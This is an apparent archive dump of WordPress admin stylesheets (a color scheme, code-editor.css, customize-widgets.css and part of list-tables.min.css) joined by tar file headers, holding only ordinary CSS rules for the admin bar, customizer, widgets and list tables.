.blavatar{color:hsl(206.6666666667,7%,95%)}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#e14d43}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#e14d43}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:hsl(206.6666666667,7%,95%)}#wpadminbar #adminbarsearch:before{color:hsl(206.6666666667,7%,95%)}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:rgb(70.4769230769,77.0025641026,82.2230769231)}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#69a8bb}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:rgb(94.5,151.2,168.3)}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:rgb(70.4769230769,77.0025641026,82.2230769231);background-color:rgb(70.4769230769,77.0025641026,82.2230769231)}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#e14d43}#wpadminbar #wp-admin-bar-user-info .username{color:rgb(194.7,196.2,197.4)}.wp-pointer .wp-pointer-content h3{background-color:#e14d43;border-color:rgb(221.4908256881,56.1788990826,45.0091743119)}.wp-pointer .wp-pointer-content h3:before{color:#e14d43}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#e14d43}.media-item .bar,.media-progress-bar div{background-color:#e14d43}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #e14d43}.attachment.details .check{background-color:#e14d43;box-shadow:0 0 0 1px #fff,0 0 0 2px #e14d43}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #e14d43}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#e14d43}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#e14d43}.theme-filter.current,.theme-section.current{border-bottom-color:#363b3f}body.more-filters-opened .more-filters{color:#fff;background-color:#363b3f}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#e14d43;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#e14d43;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px rgb(232.0183486239,118.6422018349,110.9816513761),0 0 2px 1px #e14d43}div#wp-responsive-toggle a:before{color:hsl(206.6666666667,7%,95%)}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#e14d43}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:rgb(37.5230769231,40.9974358974,43.7769230769)}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:hsl(206.6666666667,7%,95%)}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#e14d43}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-right-color:#e14d43}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#e14d43}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-right-color:#e14d43}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px rgb(232.0183486239,118.6422018349,110.9816513761),0 0 2px 1px #e14d43}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-right-color:#e14d43;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#e14d43}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#e14d43;border-style:solid;box-shadow:0 0 0 1px #e14d43;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#e14d43}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#e14d43}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#e14d43}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px rgb(232.0183486239,118.6422018349,110.9816513761),0 0 2px 1px #e14d43}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#e14d43;color:#0073aa} css/code-editor.css 0000644 00000003053 15233246127 0010252 0 ustar 00 .wrap [class*="CodeMirror-lint-marker"], .wp-core-ui [class*="CodeMirror-lint-message"], .wrap .CodeMirror-lint-marker-multiple { background-image: none; } .wp-core-ui .CodeMirror-lint-marker-error, .wp-core-ui .CodeMirror-lint-marker-warning { cursor: help; } .wrap .CodeMirror-lint-marker-multiple { position: absolute; top: 0; } .wrap [class*="CodeMirror-lint-marker"]:before { font: normal 18px/1 dashicons; position: relative; top: -2px; } .wp-core-ui [class*="CodeMirror-lint-message"]:before { font: normal 16px/1 dashicons; left: 16px; position: absolute; } .wp-core-ui .CodeMirror-lint-message-error, .wp-core-ui .CodeMirror-lint-message-warning { box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1); margin: 5px 0 2px; padding: 3px 12px 3px 28px; } .wp-core-ui .CodeMirror-lint-message-warning { background-color: #fcf9e8; border-left: 4px solid #dba617; } .wrap .CodeMirror-lint-marker-warning:before, .wp-core-ui .CodeMirror-lint-message-warning:before { content: "\f534"; color: #dba617; } .wp-core-ui .CodeMirror-lint-message-error { background-color: #fcf0f1; border-left: 4px solid #d63638; } .wrap .CodeMirror-lint-marker-error:before, .wp-core-ui .CodeMirror-lint-message-error:before { content: "\f153"; color: #d63638; } .wp-core-ui .CodeMirror-lint-tooltip { background: none; border: none; border-radius: 0; direction: ltr; } .wrap .CodeMirror .CodeMirror-matchingbracket { background: rgba(219, 166, 23, 0.3); color: inherit; } .CodeMirror { text-align: left; } .wrap .CodeMirror .CodeMirror-linenumber { color: #646970; } css/customize-widgets.css 0000644 00000032365 15233246127 0011552 0 ustar 00 .wp-full-overlay-sidebar { overflow: visible; } /** * Hide all sidebar sections by default, only show them (via JS) once the * preview loads and we know whether the sidebars are used in the template. */ .control-section.control-section-sidebar, .customize-control-sidebar_widgets label, .customize-control-sidebar_widgets .hide-if-js { /* The link in .customize-control-sidebar_widgets .hide-if-js will fail if it ever gets used. */ display: none; } .control-section.control-section-sidebar .accordion-section-content.ui-sortable { overflow: visible; } /* Note: widget-tops are more compact when (max-height: 700px) and (min-width: 981px). */ .customize-control-widget_form .widget-top { background: #fff; transition: opacity 0.5s; } .customize-control .widget-action { color: #787c82; } .customize-control .widget-top:hover .widget-action, .customize-control .widget-action:focus { color: #1d2327; } .customize-control-widget_form:not(.widget-rendered) .widget-top { opacity: 0.5; } .customize-control-widget_form .widget-control-save { display: none; } .customize-control-widget_form .spinner { visibility: hidden; margin-top: 0; } .customize-control-widget_form.previewer-loading .spinner { visibility: visible; } .customize-control-widget_form.widget-form-disabled .widget-content { opacity: 0.7; pointer-events: none; -webkit-user-select: none; user-select: none; } .customize-control-widget_form .widget { margin-bottom: 0; } .customize-control-widget_form.wide-widget-control .widget-inside { position: fixed; left: 299px; top: 25%; border: 1px solid #dcdcde; overflow: auto; } .customize-control-widget_form.wide-widget-control .widget-inside > .form { padding: 20px; } .customize-control-widget_form.wide-widget-control .widget-top { transition: background-color 0.4s; } .customize-control-widget_form.wide-widget-control.expanding .widget-top, .customize-control-widget_form.wide-widget-control.expanded:not(.collapsing) .widget-top { background-color: #dcdcde; } .widget-inside { padding: 1px 10px 10px; border-top: none; line-height: 1.23076923; } .customize-control-widget_form.expanded .widget-action .toggle-indicator:before { content: "\f142"; } .customize-control-widget_form.wide-widget-control .widget-action .toggle-indicator:before { content: "\f139"; } .customize-control-widget_form.wide-widget-control.expanded .widget-action .toggle-indicator:before { content: "\f141"; } .widget-title-action { cursor: pointer; } .widget-top, .customize-control-widget_form .widget .customize-control-title { cursor: move; } .control-section.accordion-section.highlighted > .accordion-section-title, .customize-control-widget_form.highlighted { outline: none; box-shadow: 0 0 2px rgba(79, 148, 212, 0.8); position: relative; z-index: 1; } #widget-customizer-control-templates { display: none; } /** * Widget reordering styles */ #customize-theme-controls .widget-reorder-nav { display: none; float: right; background-color: #f6f7f7; } .move-widget:before { content: "\f504"; content: "\f504" / ''; } #customize-theme-controls .move-widget-area { display: none; background: #fff; border: 1px solid #c3c4c7; border-top: none; cursor: auto; } #customize-theme-controls .reordering .move-widget-area.active { display: block; } #customize-theme-controls .move-widget-area .description { margin: 0; padding: 15px 20px; font-weight: 400; } #customize-theme-controls .widget-area-select { margin: 0; padding: 0; list-style: none; } #customize-theme-controls .widget-area-select li { position: relative; margin: 0; padding: 13px 15px 15px 42px; color: #50575e; border-top: 1px solid #c3c4c7; cursor: pointer; -webkit-user-select: none; user-select: none; } #customize-theme-controls .widget-area-select li:before { display: none; content: "\f147"; content: "\f147" / ''; position: absolute; top: 12px; left: 10px; font: normal 20px/1 dashicons; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } #customize-theme-controls .widget-area-select li:last-child { border-bottom: 1px solid #c3c4c7; } #customize-theme-controls .widget-area-select .selected { color: #fff; background: var(--wp-admin-theme-color); } #customize-theme-controls .widget-area-select .selected:before { display: block; } #customize-theme-controls .move-widget-actions { text-align: right; padding: 12px; } #customize-theme-controls .reordering .widget-title-action { display: none; } #customize-theme-controls .reordering .widget-reorder-nav { display: block; } /* Text Widget */ .wp-customizer div.mce-inline-toolbar-grp, .wp-customizer div.mce-tooltip { z-index: 500100 !important; } .wp-customizer .ui-autocomplete.wplink-autocomplete { z-index: 500110; /* originally 100110, but z-index of .wp-full-overlay is 500000 */ } .wp-customizer #wp-link-backdrop { z-index: 500100; /* originally 100100, but z-index of .wp-full-overlay is 500000 */ } .wp-customizer #wp-link-wrap { z-index: 500105; /* originally 100105, but z-index of .wp-full-overlay is 500000 */ } /** * Styles for new widget addition panel */ /* override widgets admin page rules in wp-admin/css/widgets.css */ #widgets-left #available-widgets .widget { float: none !important; width: auto !important; } /* Keep rule that is no longer necessary on widgets.php. */ #available-widgets .widget-action { display: none; } .ios #available-widgets { transition: left 0s; } #available-widgets .widget-tpl:hover, #available-widgets .widget-tpl.selected { background: #f6f7f7; border-bottom-color: #c3c4c7; color: var(--wp-admin-theme-color);; border-left: 4px solid var(--wp-admin-theme-color); } #customize-controls .widget-title h3 { font-size: 1em; } #available-widgets .widget-title h3 { padding: 0 0 5px; font-size: 14px; } #available-widgets .widget .widget-description { padding: 0; color: #646970; } @media (prefers-reduced-motion: no-preference) { #customize-preview { transition: all 0.2s; } } body.adding-widget #available-widgets { left: 0; visibility: visible; } body.adding-widget .wp-full-overlay-main { left: 300px; } body.adding-widget #customize-preview { opacity: 0.4; } /** * Widget Icon styling * No plurals in naming. * Ordered from lowest to highest specificity. */ #available-widgets .widget-title { position: relative; } #available-widgets .widget-title:before { content: "\f132"; content: "\f132" / ''; position: absolute; top: -3px; right: 100%; margin-right: 20px; width: 20px; height: 20px; color: #2c3338; font: normal 20px/1 dashicons; text-align: center; box-sizing: border-box; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } /* dashicons-smiley */ #available-widgets [class*="easy"] .widget-title:before { content: "\f328"; content: "\f328" / ''; top: -4px; } /* dashicons-star-filled */ #available-widgets [class*="super"] .widget-title:before, #available-widgets [class*="like"] .widget-title:before { content: "\f155"; content: "\f155" / ''; top: -4px; } /* dashicons-wordpress */ #available-widgets [class*="meta"] .widget-title:before { content: "\f120"; content: "\f120" / ''; } /* dashicons-archive */ #available-widgets [class*="archives"] .widget-title:before { content: "\f480"; content: "\f480" / ''; top: -4px; } /* dashicons-category */ #available-widgets [class*="categor"] .widget-title:before { content: "\f318"; content: "\f318" / ''; top: -4px; } /* dashicons-admin-comments */ #available-widgets [class*="comment"] .widget-title:before, #available-widgets [class*="testimonial"] .widget-title:before, #available-widgets [class*="chat"] .widget-title:before { content: "\f101"; content: "\f101" / ''; } /* dashicons-admin-post */ #available-widgets [class*="post"] .widget-title:before { content: "\f109"; content: "\f109" / ''; } /* dashicons-admin-page */ #available-widgets [class*="page"] .widget-title:before { content: "\f105"; content: "\f105" / ''; } /* dashicons-text */ #available-widgets [class*="text"] .widget-title:before { content: "\f478"; content: "\f478" / ''; } /* dashicons-admin-links */ #available-widgets [class*="link"] .widget-title:before { content: "\f103"; content: "\f103" / ''; } /* dashicons-search */ #available-widgets [class*="search"] .widget-title:before { content: "\f179"; content: "\f179" / ''; } /* dashicons-menu */ #available-widgets [class*="menu"] .widget-title:before, #available-widgets [class*="nav"] .widget-title:before { content: "\f333"; content: "\f333" / ''; } /* dashicons-tagcloud */ #available-widgets [class*="tag"] .widget-title:before { content: "\f479"; content: "\f479" / ''; } /* dashicons-rss */ #available-widgets [class*="rss"] .widget-title:before { content: "\f303"; content: "\f303" / ''; top: -6px; } /* dashicons-calendar */ #available-widgets [class*="event"] .widget-title:before, #available-widgets [class*="calendar"] .widget-title:before { content: "\f145"; content: "\f145" / ''; top: -4px; } /* dashicons-format-image */ #available-widgets [class*="image"] .widget-title:before, #available-widgets [class*="photo"] .widget-title:before, #available-widgets [class*="slide"] .widget-title:before, #available-widgets [class*="instagram"] .widget-title:before { content: "\f128"; content: "\f128" / ''; } /* dashicons-format-gallery */ #available-widgets [class*="album"] .widget-title:before, #available-widgets [class*="galler"] .widget-title:before { content: "\f161"; content: "\f161" / ''; } /* dashicons-format-video */ #available-widgets [class*="video"] .widget-title:before, #available-widgets [class*="tube"] .widget-title:before { content: "\f126"; content: "\f126" / ''; } /* dashicons-format-audio */ #available-widgets [class*="music"] .widget-title:before, #available-widgets [class*="radio"] .widget-title:before, #available-widgets [class*="audio"] .widget-title:before { content: "\f127"; content: "\f127" / ''; } /* dashicons-admin-users */ #available-widgets [class*="login"] .widget-title:before, #available-widgets [class*="user"] .widget-title:before, #available-widgets [class*="member"] .widget-title:before, #available-widgets [class*="avatar"] .widget-title:before, #available-widgets [class*="subscriber"] .widget-title:before, #available-widgets [class*="profile"] .widget-title:before, #available-widgets [class*="grofile"] .widget-title:before { content: "\f110"; content: "\f110" / ''; } /* dashicons-cart */ #available-widgets [class*="commerce"] .widget-title:before, #available-widgets [class*="shop"] .widget-title:before, #available-widgets [class*="cart"] .widget-title:before { content: "\f174"; content: "\f174" / ''; top: -4px; } /* dashicons-shield */ #available-widgets [class*="secur"] .widget-title:before, #available-widgets [class*="firewall"] .widget-title:before { content: "\f332"; content: "\f332" / ''; } /* dashicons-chart-bar */ #available-widgets [class*="analytic"] .widget-title:before, #available-widgets [class*="stat"] .widget-title:before, #available-widgets [class*="poll"] .widget-title:before { content: "\f185"; content: "\f185" / ''; } /* dashicons-feedback */ #available-widgets [class*="form"] .widget-title:before { content: "\f175"; content: "\f175" / ''; } /* dashicons-email-alt */ #available-widgets [class*="subscribe"] .widget-title:before, #available-widgets [class*="news"] .widget-title:before, #available-widgets [class*="contact"] .widget-title:before, #available-widgets [class*="mail"] .widget-title:before { content: "\f466"; content: "\f466" / ''; } /* dashicons-share */ #available-widgets [class*="share"] .widget-title:before, #available-widgets [class*="socia"] .widget-title:before { content: "\f237"; content: "\f237" / ''; } /* dashicons-translation */ #available-widgets [class*="lang"] .widget-title:before, #available-widgets [class*="translat"] .widget-title:before { content: "\f326"; content: "\f326" / ''; } /* dashicons-location-alt */ #available-widgets [class*="locat"] .widget-title:before, #available-widgets [class*="map"] .widget-title:before { content: "\f231"; content: "\f231" / ''; } /* dashicons-download */ #available-widgets [class*="download"] .widget-title:before { content: "\f316"; content: "\f316" / ''; } /* dashicons-cloud */ #available-widgets [class*="weather"] .widget-title:before { content: "\f176"; content: "\f176" / ''; top: -4px; } /* dashicons-facebook */ #available-widgets [class*="facebook"] .widget-title:before { content: "\f304"; content: "\f304" / ''; } /* dashicons-twitter */ #available-widgets [class*="tweet"] .widget-title:before, #available-widgets [class*="twitter"] .widget-title:before { content: "\f301"; content: "\f301" / ''; } @media screen and (max-height: 700px) and (min-width: 981px) { /* Compact widget-tops on smaller laptops, but not tablets. See ticket #27112#comment:4 */ .customize-control-widget_form { margin-bottom: 0; } .widget-top { box-shadow: none; margin-top: -1px; } .widget-top:hover { position: relative; z-index: 1; } .last-widget { margin-bottom: 15px; } .widget-title h3 { padding: 13px 15px; } .widget-top .widget-action { padding: 8px 10px; } .widget-reorder-nav span { height: 39px; } .widget-reorder-nav span:before { line-height: 39px; } /* Compact the move widget areas. */ #customize-theme-controls .widget-area-select li { padding: 9px 15px 11px 42px; } #customize-theme-controls .widget-area-select li:before { top: 8px; } } css/list-tables.min.css 0000644 00000110224 15233246127 0011060 0 ustar 00 /*! This file is auto-generated */ .response-links{display:block;margin-bottom:1em}.response-links a{display:block}.response-links a.comments-edit-item-link{font-weight:600}.response-links a.comments-view-item-link{font-size:12px}.post-com-count-wrapper strong{font-weight:400}.comments-view-item-link{display:inline-block;clear:both}.column-comments .post-com-count-wrapper,.column-response .post-com-count-wrapper{white-space:nowrap;word-wrap:normal}.column-comments .post-com-count,.column-response .post-com-count{display:inline-block;vertical-align:top}.column-comments .post-com-count-approved,.column-comments .post-com-count-no-comments,.column-response .post-com-count-approved,.column-response .post-com-count-no-comments{margin-top:5px}.column-comments .comment-count-approved,.column-comments .comment-count-no-comments,.column-response .comment-count-approved,.column-response .comment-count-no-comments{box-sizing:border-box;display:block;padding:0 8px;min-width:24px;height:2em;border-radius:5px;background-color:#646970;color:#fff;font-size:11px;line-height:1.90909090;text-align:center}.column-comments .post-com-count-approved:after,.column-comments .post-com-count-no-comments:after,.column-response .post-com-count-approved:after,.column-response .post-com-count-no-comments:after{content:"";display:block;margin-left:8px;width:0;height:0;border-top:5px solid #646970;border-right:5px solid transparent}.column-comments a.post-com-count-approved:focus .comment-count-approved,.column-comments a.post-com-count-approved:hover .comment-count-approved,.column-response a.post-com-count-approved:focus .comment-count-approved,.column-response a.post-com-count-approved:hover .comment-count-approved{background:#3858e9}.column-comments a.post-com-count-approved:focus:after,.column-comments a.post-com-count-approved:hover:after,.column-response a.post-com-count-approved:focus:after,.column-response a.post-com-count-approved:hover:after{border-top-color:#3858e9}.column-comments .post-com-count-pending,.column-response .post-com-count-pending{position:relative;left:-3px;padding:0 5px;min-width:7px;height:17px;border:2px solid #fff;border-radius:11px;background:#d63638;color:#fff;font-size:9px;line-height:1.88888888;text-align:center}.column-comments .post-com-count-no-pending,.column-response .post-com-count-no-pending{display:none}.commentlist li{padding:1em 1em .2em;margin:0;border-bottom:1px solid #c3c4c7}.commentlist li li{border-bottom:0;padding:0}.commentlist p{padding:0;margin:0 0 .8em}#submitted-on,.submitted-on{color:#50575e}#replyrow td{padding:2px}#replysubmit{margin:0;padding:5px 7px 10px;overflow:hidden}#replysubmit .reply-submit-buttons{margin-bottom:0}#replysubmit .button{margin-right:5px}#replysubmit .spinner{float:none;margin:-4px 0 0}#replyrow.inline-edit-row fieldset.comment-reply{font-size:inherit;line-height:inherit}#replyrow legend{margin:0;padding:.2em 5px 0;font-size:13px;line-height:1.4;font-weight:600}#replyrow.inline-edit-row label{display:inline;vertical-align:baseline;line-height:inherit}#commentsdiv #edithead .inside,#edithead .inside{float:left;padding:3px 0 2px 5px;margin:0;text-align:center}#edithead .inside input{width:180px}#edithead label{padding:2px 0}#replycontainer{padding:5px}#replycontent{height:120px;box-shadow:none}#replyerror{border-color:#dcdcde;background-color:#f6f7f7}.commentlist .avatar{vertical-align:text-top}#the-comment-list div.undo,#the-comment-list tr.undo{background-color:#f6f7f7}#the-comment-list .unapproved td,#the-comment-list .unapproved th{background-color:#fcf9e8}#the-comment-list .unapproved th.check-column{border-left:4px solid #d63638}#the-comment-list .unapproved th.check-column input{margin-left:4px}#the-comment-list .approve a{color:#007017}#the-comment-list .unapprove a{color:#996800}#the-comment-list td,#the-comment-list th{box-shadow:inset 0 -1px 0 rgba(0,0,0,.1)}#the-comment-list tr:last-child td,#the-comment-list tr:last-child th{box-shadow:none}#the-comment-list tr.unapproved+tr.approved td,#the-comment-list tr.unapproved+tr.approved th{border-top:1px solid rgba(0,0,0,.03)}.vim-current,.vim-current td,.vim-current th{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)!important}th .comment-grey-bubble{width:16px;position:relative;top:2px}th .comment-grey-bubble:before{content:"\f101";content:"\f101"/'';font:normal 20px/.5 dashicons;display:inline-block;padding:0;top:4px;left:-4px;position:relative;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#3c434a}table.fixed{table-layout:fixed}.fixed .column-rating,.fixed .column-visible{width:8%}.fixed .column-author,.fixed .column-format,.fixed .column-links,.fixed .column-parent,.fixed .column-posts{width:10%}.fixed .column-date{width:14%}.column-date span[title]{-webkit-text-decoration:dotted underline;text-decoration:dotted underline}.fixed .column-posts{width:74px}.fixed .column-posts,.fixed .column-role{hyphens:auto}.fixed .column-comment .comment-author{display:none}.fixed .column-categories,.fixed .column-rel,.fixed .column-response,.fixed .column-role,.fixed .column-tags{width:15%}.fixed .column-slug{width:25%}.fixed .column-locations{width:35%}.fixed .column-comments{width:5.5em;text-align:left}.fixed .column-comments .vers{padding-left:3px}td.column-title strong,td.plugin-title strong{display:block;margin-bottom:.2em;font-size:14px}td.column-title p,td.plugin-title p{margin:6px 0}table.media .column-title .media-icon{float:left;min-height:60px;margin:0 9px 0 0}table.media .column-title .media-icon img{max-width:60px;height:auto;vertical-align:top}table.media .column-title .has-media-icon~.row-actions{margin-left:70px}table.media .column-title .filename{margin-bottom:.2em}.media .row-actions .copy-to-clipboard-container{display:inline;position:relative}.media .row-actions .copy-to-clipboard-container .success{position:absolute;left:50%;transform:translate(-50%,-100%);background:#000;color:#fff;border-radius:5px;margin:0;padding:2px 5px}.wp-list-table a{transition:none}#the-list tr:last-child td,#the-list tr:last-child th{border-bottom:none!important;box-shadow:none}#comments-form .fixed .column-author{width:20%}#commentsdiv.postbox .inside{margin:0;padding:0}#commentsdiv .inside .row-actions{line-height:1.38461538}#commentsdiv .inside .column-author{width:25%}#commentsdiv .column-comment p{margin:.6em 0;padding:0}#commentsdiv #replyrow td{padding:0}#commentsdiv p{padding:8px 10px;margin:0}#commentsdiv .comments-box{border:0 none}#commentsdiv .comments-box thead td,#commentsdiv .comments-box thead th{background:0 0;padding:0 7px 4px}#commentsdiv .comments-box tr:last-child td{border-bottom:0 none}#commentsdiv #edithead .inside input{width:160px}.sorting-indicators{display:grid}.sorting-indicator{display:block;width:10px;height:4px;margin-top:4px;margin-left:7px}.sorting-indicator:before{font:normal 20px/1 dashicons;display:inline-block;padding:0;top:-4px;left:-8px;line-height:.5;position:relative;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none!important;color:#a7aaad}.sorting-indicator.asc:before{content:"\f142";content:"\f142"/''}.sorting-indicator.desc:before{content:"\f140";content:"\f140"/''}th.sorted.desc .sorting-indicator.desc:before{color:#1d2327}th.sorted.asc .sorting-indicator.asc:before{color:#1d2327}th.sorted.asc a:focus .sorting-indicator.asc:before,th.sorted.asc:hover .sorting-indicator.asc:before,th.sorted.desc a:focus .sorting-indicator.desc:before,th.sorted.desc:hover .sorting-indicator.desc:before{color:#a7aaad}th.sorted.asc a:focus .sorting-indicator.desc:before,th.sorted.asc:hover .sorting-indicator.desc:before,th.sorted.desc a:focus .sorting-indicator.asc:before,th.sorted.desc:hover .sorting-indicator.asc:before{color:#1d2327}.wp-list-table .toggle-row{position:absolute;right:8px;top:10px;display:none;padding:0;width:40px;height:40px;border:none;outline:0;background:0 0}.wp-list-table .toggle-row:hover{cursor:pointer}.wp-list-table .toggle-row:focus:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.wp-list-table .toggle-row:active{box-shadow:none}.wp-list-table .toggle-row:before{position:absolute;top:-5px;left:10px;border-radius:50%;display:block;padding:1px 2px 1px 0;color:#3c434a;content:"\f140";content:"\f140"/'';font:normal 20px/1 dashicons;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.wp-list-table .is-expanded .toggle-row:before{content:"\f142";content:"\f142"/''}.check-column{position:relative}.check-column label{box-sizing:border-box;width:100%;height:100%;display:block;position:absolute;top:0;left:0}.check-column input{position:relative;z-index:1}.check-column .label-covers-full-cell:hover+input:not(:disabled){box-shadow:0 0 0 1px #2271b1}.check-column input:hover+label,.check-column label:hover{background:rgba(0,0,0,.05)}.locked-indicator{display:none;margin-left:6px;height:20px;width:16px}.locked-indicator-icon:before{color:#8c8f94;content:"\f160";content:"\f160"/'';display:inline-block;font:normal 20px/1 